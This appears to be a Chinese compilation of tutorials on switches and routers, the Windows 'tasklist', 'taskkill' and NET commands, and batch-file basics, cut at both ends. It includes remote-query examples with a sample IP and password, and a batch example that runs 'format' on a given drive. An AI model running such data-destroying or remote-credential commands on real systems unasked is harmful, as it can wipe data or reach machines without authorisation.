3.广播控制:交换机只能缩小冲突域,而不能缩小广播域。整个交换式网络就是一个大的广播域,广播报文散到整个交换式网络。而路由器可以隔离广播域,广播报文不能通过路由器继续进行广播。
4.子网划分:交换机只能识别MAC地址。MAC地址是物理地址,而且采用平坦的地址结构,因此不能根据MAC地址来划分子网。而路由器识别IP地址,IP地址由网络管理员分配,是逻辑地址且IP地址具有层次结构,被划分成网络号和主机号,可以非常方便地用于划分子网,路由器的主要功能就是用于连接不同的网络。
5.保密问题:虽说交换机也可以根据帧的源MAC地址、目的MAC地址和其他帧中内容对帧实施过滤,但路由器根据报文的源IP地址、目的IP地址、TCP端口地址等内容对报文实施过滤,更加直观方便。
6.介质相关:交换机作为桥接设备也能完成不同链路层和物理层之间的转换,但这种转换过程比较复杂,不适合ASIC实现,势必降低交换机的转发速度。因此目前交换机主要完成相同或相似物理介质和链路协议的网络互连,而不会用来在物理介质和链路层协议相差甚元的网络之间进行互连。而路由器则不同,它主要用于不同网络之间互连,因此能连接不同物理介质、链路层协议和网络层协议的网络。路由器在功能上虽然占据了优势,但价格昂贵,报文转发速度低。
近几年,交换机为提高性能做了许多改进,其中最突出的改进是虚拟网络和三层交换。
划分子网可以缩小广播域,减少广播风暴对网络的影响。路由器每一接口连接一个子网,广播报文不能经过路由器广播出去,连接在路由器不同接口的子网属于不同子网,子网范围由路由器物理划分。对交换机而言,每一个端口对应一个网段,由于子网由若干网段构成,通过对交换机端口的组合,可以逻辑划分子网。广播报文只能在子网内广播,不能扩散到别的子网内,通过合理划分逻辑子网,达到控制广播的目的。由于逻辑子网由交换机端口任意组合,没有物理上的相关性,因此称为虚拟子网,或叫虚拟网。虚拟网技术不用路由器就解决了广播报文的隔离问题,且虚拟网内网段与其物理位置无关,即相邻网段可以属于不同虚拟网,而相隔甚远的两个网段可能属于不同虚拟网,而相隔甚远的两个网段可能属于同一个虚拟网。不同虚拟网内的终端之间不能相互通信,增强了对网络内数据的访问控制。交换机和路由器是性能和功能的矛盾体,交换机交换速度快,但控制功能弱,路由器控制性能强,但报文转发速度慢。解决这个矛盾的最新技术是三层交换,既有交换机线速转发报文能力,又有路由器良好的控制功能。
第三层交换机和路由器的区别
在第三层交换技术出现之前,几乎没有必要将路由功能器件和路由器区别开来,他们完全是相同的:提供路由功能正在路由器的工作,然而,现在第三层交换机完全能够执行传统路由器的大多数功能。作为网络互连的设备,第三层交换机具有以下特征:
1.转发基于第三层地址的业务流;
2.完全交换功能;
3.可以完成特殊服务,如报文过滤或认证;
4.执行或不执行路由处理。
第三层交换机与传统路由器相比有如下优点:
1.子网间传输带宽可任意分配:传统路由器每个接口连接一个子网,子网通过路由器进行传输的速率被接口的带宽所限制。而三层交换机则不同,它可以把多个端口定义成一个虚拟网,把多个端口组成的虚拟网作为虚拟网接口,该虚拟网内信息可通过组成虚拟网的端口送给三层交换机,由于端口数可任意指定,子网间传输带宽没有限制。
2.合理配置信息资源:由于访问子网内资源速率和访问全局网中资源速率没有区别,子网设置单独服务器的意义不大,通过在全局网中设置服务器群不仅节省费用,更可以合理配置信息资源。
3.降低成本:通常的网络设计用交换机构成子网,用路由器进行子网间互连。目前采用三层交换机进行网络设计,既可以进行任意虚拟子网划分,又可以通过交换机三层路由功能完成子网间通信,为此节省了价格昂贵的路由器。
4.交换机之间连接灵活:作为交换机,它们之间不允许存在回路,作为路由器,又可有多条通路来提高可靠性、平衡负载。三层交换机用生成树算法阻塞造成回路的端口,但进行路由选择时,依然把阻塞掉的通路作为可选路径参与路由选择。
五、结论
综上所述,交换机一般用于LAN-WAN的连接,交换机归于网桥,是数据链路层的设备,有些交换机也可实现第三层的交换。路由器用于WAN-WAN之间的连接,可以解决异性网络之间转发分组,作用于网络层。他们只是从一条线路上接受输入分组,然后向另一条线路转发。这两条线路可能分属于不同的网络,并采用不同协议。相比较而言,路由器的功能较交换机要强大,但速度相对也慢,价格昂贵,第三层交换机既有交换机线速转发报文能力,又有路由器良好的控制功能,因此得以广播应用。
windows
xp的任务管理器,大家一定不会陌生。通过“Ctrl+Alt+Del”组合键,选择“任务管理器”就可以查看到本机完整的进程列表,而且可以通过手工定制进程列表的方式获的更多的进程信息,如会话ID、用户名等,但遗憾的是,我们查看不到这些进程到底提供了哪些系统服务。在Windows
XP中新增了一个命令行工具“tasklist.exe”能实现上面的功能。
“Tasklist”命令是一个用来显示运行在本地或远程计算机上的所有进程的命令行工具,带有多个执行参数。
它的使用格式为:
TASKLIST [/S system [/U username [/P [password]]]]
[/M [module] | /SVC | /V] [/FI filter] [/FO format] [/NH]
参数列表:
/S system 指定连接到的远程系统。
/U [domain\]user 指定使用哪个用户执行这个命令。
/P [password] 为指定的用户指定密码。
/M [module] 列出调用指定的 DLL
模块的所有进程。
如果没有指定模块名,显示每个进程加载的所有模块。
/SVC 显示每个进程中的服务。
/V 指定要显示详述信息。
/FI filter
显示一系列符合筛选器指定的进程。
/FO format 指定输出格式,有效值:
"TABLE"、"LIST"、"CSV"。
/NH 指定栏标头不应该在输出中显示。
只对 "TABLE" 和 "CSV" 格式有效。
1、 使用“Tasklist”命令查看本机进程
运行“命令提示符”程序,在提示符窗口中输入:“tasklist”命令(图一),这样就显示本机的所有进程。本机的显示结果由五部分组成:图像名(进程名)、PID、会话名、会话#、内存使用。
2、 查看远程系统的进程
在命令提示符下输入(图二):
“tasklist /s 218.22.123.26 /u jtdd /p
12345678”(不包括引号)
其中/s参数后的“218.22.123.26”指要查看的远程系统的IP地址,/u后的“jtdd”指tasklist命令使用的用户帐号,它是远程系统上的一个合法帐号,/p后的“12345678”指jtdd帐号的密码,。
这样,通过上面的命令,我们就可以查看到远程系统的进程了。
小提示:使用tasklist命令查看远程系统的进程时,需要远程机器的RPC
服务器的支持,否则,该命令就不能正常使用。
3、 查看系统进程提供的服务
tasklist命令不但可以查看系统进程,而且还可以查看每个进程提供的服务。
如查看本机的进程“SVCHOST.EXE”提供的服务,在命令提示符下输入:
“tasklist
/svc”命令即可(图三),你会惊奇的发现,有四个“SVCHOST.EXE”进程,原来有二十几项服务使用这个进程,对于远程系统来说,查看系统服务也很简单,使用”
tasklist /s 218.22.123.26 /u jtdd /p 12345678
/svc”命令,就可以查看IP地址为“218.22.123.26”的远程系统进程所提供的服务。
4、 查看调用DLL模块文件的进程列表
例如,我们要查看本地系统中哪些进程调用了“shell32.dll”
DLL模块文件。
(图四)在命令提示符下输入:
tasklist /m shell32.dll
这时系统将显示调用进程列表。
5、 使用筛选器查找指定的进程
在命令提示符下输入:
“TASKLIST /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS
eq running“
这样就列出了系统中正在运行的非“SYSTEM“状态的所有进程(图五)。
其中“/FI“为筛选器参数,”
ne“和”eq“为关系运算符”不相等“和”相等“。
补充:
谈到“Tasklist”命令,我们就不得不提它得孪生兄弟“taskkill”命令,顾名思义,它是用来杀死进程的。
如要杀死本机的“notepad.exe”进程。
首先,使用Tasklist查找它的PID,系统显示本机“notepad.exe”进程的PID值为“1132“,然后运行“taskkill
/pid 1132”即可,或则运行” taskkill /IM
notepad.exe“也可,
其中” /pid
“参数后面跟要终止进程的PID值,“/IM“参数后面为进程的图像名。
“Tasklist”命令的用法还有很多,由于篇幅关系,就不详细介绍了,有兴趣的朋友可以参考有关技术资料,进行深入研究。
这篇文章综合了WINDOWS 98,WINDOWS WORKSTATION和WINDOWS SERVER
三个操作系统关于NET命令的解释,希望可以全面一些
先说一些:
(1)NET命令是一个命令行命令。
(2)管理网络环境、服务、用户、登陆。。。。等本地信息
(3)WIN 98,WIN WORKSTATION和WIN NT都内置了NET命令。
(4)但WIN 98的NET命令和WORKSTATION、NT的NET命令不同。
(5)WORKSTATION和SERVER中的NET命令基本相同。
(6)获得HELP
<1>在NT下可以用图形的方式,开始-》帮助-》索引-》输入NET
<2>在COMMAND下可以用字符方式,NET /?或NET或NET
HELP得到一些方法 相应的方法的帮助NET COMMAND /HELP或NET
HELP COMMAND 或NET COMMAND /? 另对于错误NET HELPMSG
MESSAGE#是4位数
(7)强制参数
所有net命令接受选项/yes和/no(可缩写为/y和/n)。[简单的说就是预先给系统的
提问一个答案]
(8)有一些命令是马上产生作用并永久保存的,使用的时候要慎重
(9)对于NET命令的功能都可以找到相应的图形工具的解决方案
(10)命令的组成 命令 参数 选项 | 参数 选项 | 参数
选项 |。。。。。。
瘰疬罗嗦说了一大堆,其实就是6和7有用,呵呵
另有两件事:
(1)在NT的NET命令中有一些参数是只有在SERVER环境中才能使用的
(2)在WIN98的NET命令中有一些参数不能在DOS-WIN中使用,只能在DOS环境中使用
下面对NET命令的不同参数的基本用法做一些初步的介绍:
(1)NET VIEW
作
用:显示域列表、计算机列表或指定计算机的共享资源列表。
命令格式:net view [\\computername | /domain[omainname]
参数介绍:
<1>键入不带参数的net view显示当前域的计算机列表。
<2>\\computername 指定要查看其共享资源的计算机。
<3>/domain[omainname]指定要查看其可用计算机的域
简单事例
<1>net view \\YFANG查看YFANG的共享资源列表。
<2>net view /domain:LOVE查看LOVE域中的机器列表。
(2)NET USER
作
用:添加或更改用户帐号或显示用户帐号信息。该命令也可以写为
net users。
命令格式:net user [username [password | *] [options] [/domain]
参数介绍:
<1>键入不带参数的net
user查看计算机上的用户帐号列表。
<2>username添加、删除、更改或查看用户帐号名。
<3>password为用户帐号分配或更改密码。
<4>*提示输入密码。
<5>/domain在计算机主域的主域控制器中执行操作。
简单事例:
<1>net user yfang查看用户YFANG的信息
(3)NET USE
作用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。
命令格式:net use [devicename | *]
[\\computername\sharename[\volume] [password | *]
[/user:[domainname\]username] [/delete] | [/persistent:{yes | no]}
参数介绍:
键入不带参数的net use列出网络连接。
devicename指定要连接到的资源名称或要断开的设备名称。
\\computername\sharename服务器及共享资源的名称。
password访问共享资源的密码。
*提示键入密码。 /user指定进行连接的另外一个用户。
domainname指定另一个域。
username指定登录的用户名。
/home将用户连接到其宿主目录
/delete取消指定网络连接。
/persistent控制永久网络连接的使用。
简单事例:
<1>net use e: \\YFANG\TEMP将\\YFANG\TEMP目录建立为E盘
<2>net use e: \\YFANG\TEMP /delete断开连接
(4)NET TIME
作
用:使计算机的时钟与另一台计算机或域的时间同步。
命令格式:net time [\\computername | /domain[:name] [/set]
参数介绍:
<1>\\computername要检查或同步的服务器名。
<2>/domain[:name]指定要与其时间同步的域。
<3>/set使本计算机时钟与指定计算机或域的时钟同步。
下面的这4个参数是相关的,所以一起介绍
(5)Net Start
作 用:启动服务,或显示已启动服务的列表。
命令格式:net start service
(6)Net Pause
作 用:暂停正在运行的服务。
命令格式:net pause service
(7)Net Continue
作 用:重新激活挂起的服务。
命令格式:net continue service
(8)NET STOP
作 用:停止 Windows NT 网络服务。
命令格式:net stop service
参数介绍:我们来看看这些服务都是什么
<1>alerter(警报)
<2>client service for netware(Netware 客户端服务)
<3>clipbook server(剪贴簿服务器)
<4>computer browser(计算机浏览器)
<5>directory replicator(目录复制器)
<6>ftp publishing service (ftp )(ftp 发行服务)
<7>lpdsvc
<8>net logon(网络登录) <9>network dde网络 dde)
<10>network dde dsdm(网络 dde dsdm)
<11>network monitor agent(网络监控代理)
<12>nt lm security support provider(NT LM 安全性支持提供)
<13>ole(对象链接与嵌入)
<14>remote access connection manager(远程访问连接管理器)
<15>remote access isnsap service(远程访问 isnsap 服务)
<16>remote access server(远程访问服务器)
<17>remote procedure call (rpc) locator(远程过程调用定位器)
<18>remote procedure call (rpc) service(远程过程调用服务)
<19>schedule(调度)
<20>server(服务器)
<21>simple tcp/ip services(简单 TCP/IP 服务)
<22>snmp
<23>spooler(后台打印程序)
<24>tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)
<25>ups (26)workstation(工作站)
<27>messenger(信使)
<28>dhcp client
<29>eventlog 以下这些SERVICE只能在NT SERVER上使用
<< 1>> )file server for macintosh
<<2>>gateway service for netware
<<3>>microsoft dhcp server
<<4>>print server for macintosh
<<5>>remoteboot
<<6>>windows internet name service
(9)Net Statistics
作 用:显示本地工作站或服务器服务的统计记录。
命令格式:net statistics [workstation | server]
参数介绍:
<1>键入不带参数的net
statistics列出其统计信息可用的运行服务。
<2>workstation显示本地工作站服务的统计信息。
<3>server显示本地服务器服务的统计信息。
简单事例:
<1>net statistics server | more显示服务器服务的统计信息
(10)Net Share
作 用:创建、删除或显示共享资源。
命令格式:net share sharename=drive:path [/users:number |
/unlimited] [/remark:"text"]
参数介绍:
<1>键入不带参数的net
share显示本地计算机上所有共享资源的信息。
<2>sharename是共享资源的网络名称。
<3>drive:path指定共享目录的绝对路径。
<4>/users:number设置可同时访问共享资源的最大用户数。
<5>/unlimited不限制同时访问共享资源的用户数。
<6>/remark:"text
"添加关于资源的注释,注释文字用引号引住。
简单事例:
<1>net share mylove=c:\temp /remark:"my first
share"以mylove为共享名共享C:\temp
<2>net share mylove /delete停止共享mylove目录
(11)Net Session
作
用:列出或断开本地计算机和与之连接的客户端的会话,也可以写为net
sessions或net sess。
命令格式:net session [\\computername] [/delete]
参数介绍:
<1>键入不带参数的net
session显示所有与本地计算机的会话的信息。
<2>\\computername标识要列出或断开会话的计算机。
<3>/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有?
简单事例:
<1>net session
\\YFANG要显示计算机名为YFANG的客户端会话信息列表。
(12)Net Send
作
用:向网络的其他用户、计算机或通信名发送消息。
命令格式:net send {name | * | /domain[:name] | /users} message
参数介绍:
<1>name要接收发送消息的用户名、计算机名或通信名。
<2>*将消息发送到组中所有名称。
<3>/domain[:name]将消息发送到计算机域中的所有名称。
<4>/users将消息发送到与服务器连接的所有用户。
<5>message作为消息发送的文本。
简单事例:
<1>net send /users server will shutdown in 5 minutes.
给所有连接到服务器的用户发送消息
(13)Net Print
作 用:显示或控制打印作业及打印队列。
命令格式:net print [\\computername ] job# [/hold | /release |
/delete]
参数介绍:
<1>computername共享打印机队列的计算机名。
<2>sharename打印队列名称。
<3>job#在打印机队列中分配给打印作业的标识号。
<4>/hold使用 job# 时,在打印机队列中使打印作业等待。
<5>/release释放保留的打印作业。
<6>/delete从打印机队列中删除打印作业。
简单事例:
<1>net print
\\YFANG\SEEME列出\\YFANG计算机上SEEME打印机队列的目录
(14)Net Name
作
用:添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。
命令格式:net name [name [/add | /delete]
参数介绍:
<1>键入不带参数的net name列出当前使用的名称。
<2>name指定接收消息的名称。
<3>/add将名称添加到计算机中。
<4>/delete从计算机中删除名称。
(15)Net Localgroup
作 用:添加、显示或更改本地组。
命令格式:net localgroup groupname {/add [/comment:"text "] |
/delete} [/domain]
参数介绍:
<1>键入不带参数的net
localgroup显示服务器名称和计算机的本地组名称。
<2>groupname要添加、扩充或删除的本地组名称。
<3>/comment: "text "为新建或现有组添加注释。
<4>/domain在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作?
<5>name [
...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。
<6>/add将全局组名或用户名添加到本地组中。
<7>/delete从本地组中删除组名或用户名。
简单事例:
<1>net localgroup love
/add将名为love的本地组添加到本地用户帐号数据库
<2>net localgroup love显示love本地组中的用户
(16)Net Group
作 用:在 Windows NT Server
域中添加、显示或更改全局组。
命令格式:net group groupname {/add [/comment:"text "] | /delete}
[/domain]
参数介绍:
<1>键入不带参数的net
group显示服务器名称及服务器的组名称。
<2>groupname要添加、扩展或删除的组。
<3>/comment:"text "为新建组或现有组添加注释。
<4>/domain在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作?
<5>username[
...]列表显示要添加到组或从组中删除的一个或多个用户。
<6>/add添加组或在组中添加用户名。
<7>/delete删除组或从组中删除用户名。
简单事例:
<1>net group love yfang1 yfang2
/add将现有用户帐号yfang1和yfang2添加到本地计算机的love组
(17)Net File
作
用:显示某服务器上所有打开的共享文件名及锁定文件数。
命令格式:net file [id [/close]
参数介绍:
<1>键入不带参数的net
file获得服务器上打开文件的列表。
<2>id文件标识号。
<3>/close关闭打开的文件并释放锁定记录。
(18)Net Config
作
用:显示当前运行的可配置服务,或显示并更改某项服务的设置。
命令格式:net config [service [options]
参数介绍:
<1>键入不带参数的net config显示可配置服务的列表。
<2>service通过net
config命令进行配置的服务(server或workstation)
<3>options服务的特定选项。
(19)Net Computer
作 用:从域数据库中添加或删除计算机。
命令格式:net computer \\computername {/add | /del}
参数介绍:
<1>\\computername指定要添加到域或从域中删除的计算机。
<2>/add将指定计算机添加到域。
<3>/del将指定计算机从域中删除。
简单事例:
<1>net computer \\cc /add将计算机 cc 添加到登录域
(20)Net Accounts
作
用:更新用户帐号数据库、更改密码及所有帐号的登录要求。
命令格式:net accounts [/forcelogoff:{minutes | no}]
[/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwageays]
[/uniquepw:number] [/domain]
参数介绍:
<1>键入不带参数的net
accounts显示当前密码设置、登录时限及域信息。
<2>/forcelogoff:{minutes |
no}设置当用户帐号或有效登录时间过期时
<3>/minpwlen:length设置用户帐号密码的最少字符数。
<4>/maxpwage:{days |
unlimited}设置用户帐号密码有效的最大天数。
<5>/minpwageays设置用户必须保持原密码的最小天数。
<6>/uniquepw:number要求用户更改密码时,必须在经过number次后才能重复使用
与之相同的密码。
<7>/domain在当前域的主域控制器上执行该操作。
<8>/sync当用于主域控制器时,该命令使域中所有备份域控制器同步
简单事例:
<1>net accounts /minpwlen:7
将用户帐号密码的最少字符数设置为7
----------------------上面介绍的是NET命令在WINNT下的基本用法
----------------------下面我们看看NET命令在WIN98下的基本用法
在WIN98中NET命令也有一些参数
其中有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用法相同
其中有
(1)NET TIME命令
(2)NET PRINT命令
(3)NET USE命令
(4)NET VIEW命令
在WIN98中NET命令有一些参数
其中有一些参数的名字和WINNT下的相应的参数的名字相同但其用法却有些不同
其中有
(1)NET START
作 用:启动相应的服务。(不能在DOS-WIN中用)
命令格式:NET START [BASIC | NWREDIR | WORKSTATION | NETBIND |
NETBEUI | NWLINK] [/LIST] [/YES] [/VERBOSE]
(2)NET STOP
作 用:停止相应的服务.(不能在DOS-WIN中用)
命令格式:NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI |
NWLINK] [/YES]
在WIN98中NET命令还有一些参数是在98下才有的
其中有
(1)NET DIAG
作 用:运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息
命令格式:NET DIAGNOSTICS [/NAMES | /STATUS]
(2)NET INIT
作
用:不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用)
命令格式:NET INITIALIZE [/DYNAMIC]
(3)NET LOGOFF
作 用:断开连接的共享资源(不能在DOS-WIN中用)
(4)NET LOGON
作 用:在WORKGROUP中登陆(不能在DOS-WIN中用)
命令格式:NET LOGON [user [password | ?] [/DOMAIN:name] [/YES]
[/SAVEPW:NO]
(5)NET PASSWORD
作 用:更改你的网络登陆口令(不能在DOS-WIN中用)
命令格式:NET PASSWORD \\computer | /DOMAIN:name [user
[oldpassword [newpassword]
编者:这个教程和别不一样的地方在于willsort编注那里的内容,是作者多年来的心得.
批处理的介绍
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。
==== willsort 编注 =======================================
.bat是dos下的批处理文件
.cmd是nt内核命令行环境的另一种批处理文件
从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch,
unix shell, awk, basic, perl
等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。
===================================
首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
==== willsort 题注 ===================
批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。
========================
其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
==== willsort 编注 ==================
批处理文件(batch file)也可以称之为批处理程序(batch
program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。
===========================
第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。
==== willsort 编注 =====
纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由command.com
直接载入内存),以exe位扩展名的可执行程序(由command.com
重定位后载入内存),以bat位扩展名的批处理程序(由command.com
解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存)
============
第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows
98下的autoexec.bat的示例:
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;<br>
C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
==== willsort 编注 =====
AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释执行;
而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT
等许多其它自动运行的批处理文件,对AUTOEXEC.BAT
也增加了 .DOS .W40 .BAK .OLD .PWS
等许多变体以适应复杂的环境和多变的需求。
==== willsort 编注 =============
以下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而dir、copy等也很常用的命令却没有列入,
而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。
以下摘录MS-DOS 6.22
帮助文档中关于"批处理命令"的文字,当然,其中有些概念和定义已经有些落后了。
批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此批处理程序中的命令。
任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。
==========
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
==== willsort 编注 ===========
首先, @ 不是一个命令, 而是DOS
批处理的一个特殊标记符, 仅用于屏蔽命令行回显.
下面是DOS命令行或批处理中可能会见到的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY命令文件连接符
* ? 文件通配符
"" 字符串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用,
而且更简洁有效; 但有两点需要注意:
第一, 除了 :: 之外, 任何以 :开头的字符行,
在批处理中都被视作标号,
而直接忽略其后的所有内容,
只是为了与正常的标号相区别, 建议使用 goto
所无法识别的标号, 即在
:后紧跟一个非字母数字的一个特殊符号.
第二, 与rem 不同的是, ::后的字符行在执行时不会回显,
无论是否用echo on打开命令行回显状态,
因为命令解释器不认为他是一个有效的命令行,
就此点来看, rem 在某些场合下将比 :: 更为适用; 另外,
rem 可以用于 config.sys 文件中.
=====================
echo 表示显示此命令后的字符
echo off
表示在此语句后所有运行的命令都不显示命令行本身
@与echo
off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call
调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press
any key to continue...的提示,等待用户按任意键后继续
rem
表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
==== willsort 编注 =====
此处的描述较为混乱,
不如直接引用个命令的命令行帮助更为条理
-------------------------
ECHO
当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。
在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。
使用ECHO命令可关闭此功能。
语法
ECHO [ON|OFF]
若要用echo命令显示一条命令,可用下述语法:
echo [message]
参数
ON|OFF
指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO
命令。
message
指定让MS-DOS在屏幕上显示的正文。
-------------------
CALL
从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。
batch-parameters
指定批处理程序所需的命令行信息。
-------------------------------
PAUSE
暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处
理程序中使用该命令。
语法
PAUSE
REM
在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS
中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。
语法
REM [string]
参数
string
指定要屏蔽的命令或要包含的注解。
=======================
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入
a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为:
命令注释:
@echo
off 不显示后续命令行及当前命令行
dir c:\*.*
>a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause
暂停,等待按键继续
rem 准备运行wps
注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format
%1就相当于format
a:,于是上面的命令运行时实际执行的是format a:
例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
==== willsort 编注 ===============
参数在批处理中也作为变量处理,
所以同样使用百分号作为引导符,
其后跟0-9中的一个数字构成参数引用符.
引用符和参数之间 (例如上文中的 %1 与 a: )
的关系类似于变量指针与变量值的关系.
当我们要引用第十一个或更多个参数时, 就必须移动DOS
的参数起始指针. shift
命令正充当了这个移动指针的角色,
它将参数的起始指针移动到下一个参数, 类似C
语言中的指针操作. 图示如下:
初始状态, cmd 为命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过1次shift后, cmd 将无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过2次shift后, arg1也被废弃, %9指向为空,
没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在
nt 内核命令行环境下, shift 才支持 /n 参数,
可以以第一参数为基准返复移动起始指针.
来源:enet
【简 介】
最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>
>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.
批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为
.bat 或
